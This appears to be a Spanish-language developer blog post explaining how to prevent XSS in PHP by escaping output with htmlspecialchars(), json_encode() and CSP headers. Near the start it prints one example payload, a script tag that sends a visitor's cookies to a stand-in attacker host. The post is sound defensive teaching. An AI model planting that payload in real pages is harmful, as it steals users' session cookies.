DEV Community

Marius Podar
Marius Podar

Posted on Originally published at todoseaprende.com

XSS en PHP: cómo evitarlo escapando la salida (guía rápida)

El XSS (Cross-Site Scripting) es uno de los problemas de seguridad más comunes en aplicaciones web: alguien consigue colar código JavaScript en tu página y ese código se ejecuta en el navegador de tus usuarios. Importa porque permite robar cookies de sesión o actuar en nombre de la víctima, pero evitarlo es sencillo si sabes dónde mirar.

Cómo funciona el ataque

Imagina un formulario de comentarios: el usuario escribe su nombre, tú lo guardas en la base de datos y luego lo muestras en la página. Ahora imagina que alguien escribe esto como nombre:

<script>document.location='https://malo.com/robar?cookie='+document.cookie</script>
Enter fullscreen mode Exit fullscreen mode

Si lo imprimes sin más, ese script se ejecuta en el navegador de cualquiera que visite la página y las cookies de sesión acaban en manos de un desconocido.

Hay dos variantes que te vas a encontrar. En el stored XSS el código malicioso se guarda en la base de datos y se ejecuta cada vez que alguien carga la página; es el más peligroso porque afecta a todos los visitantes sin que hagan nada. En el reflected XSS el código no se guarda: viaja en la URL y solo se ejecuta cuando alguien pulsa un enlace preparado para ello, algo muy usado en phishing dirigido.

El problema está en la salida

Mucha gente piensa en sanear los datos cuando entran, y eso tiene sentido para otros problemas como la inyección SQL. Con XSS el problema está en la salida: en el momento en que imprimes algo dentro del HTML. Da igual que el dato venga de un formulario, de la base de datos o de la URL; si lo imprimes sin escapar, eres vulnerable. Hay más contexto sobre este cambio de enfoque en el artículo original.

La defensa: escapar con htmlspecialchars()

La función que necesitas es htmlspecialchars(). Convierte los caracteres especiales en entidades HTML, de modo que el navegador los muestra como texto en lugar de interpretarlos como código:

// Vulnerable
echo $nombre;

// Correcto
echo htmlspecialchars($nombre, ENT_QUOTES, 'UTF-8');
Enter fullscreen mode Exit fullscreen mode

ENT_QUOTES convierte tanto las comillas dobles como las simples, que es lo que quieres casi siempre, y el tercer parámetro fija la codificación: usa siempre UTF-8.

El contexto importa. Dentro de un atributo HTML se escapa igual, y los datos que pases a JavaScript deben ir con json_encode(), nunca pegados directamente en un bloque <script>:

<input value="<?= htmlspecialchars($valor, ENT_QUOTES, 'UTF-8') ?>">

<script>
var nombre = <?= json_encode($nombre, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT) ?>;
</script>
Enter fullscreen mode Exit fullscreen mode

Si usas un motor de plantillas como Twig, {{ variable }} escapa automáticamente. Cuidado con {{ variable|raw }}, que desactiva el escapado.

Capas adicionales

Las cabeceras Content Security Policy (CSP) le dicen al navegador de dónde puede cargar scripts, estilos e imágenes. Una CSP bien configurada puede impedir que un script colado se ejecute o envíe datos a otro dominio. Con esta política solo se ejecutan scripts de tu propio dominio:

header("Content-Security-Policy: default-src 'self'; script-src 'self'");
Enter fullscreen mode Exit fullscreen mode

No sustituye a escapar correctamente, pero es una buena red de seguridad. Una CSP demasiado estricta puede romper cosas, así que empieza con Content-Security-Policy-Report-Only para ver qué bloquearía antes de activarla del todo.

Si trabajas con WordPress, no uses htmlspecialchars() directamente: tiene funciones de escapado según el contexto, como esc_html() para texto, esc_attr() para atributos, esc_url() para URLs y wp_kses() cuando necesitas permitir algunas etiquetas HTML pero no todas.

Conclusión

Para evitar XSS en PHP, escapa siempre en la salida y según el contexto, y añade una CSP como red de seguridad.

Si quieres el ejemplo completo y la explicación detallada, está en el artículo original en Todo se Aprende.

Top comments (0)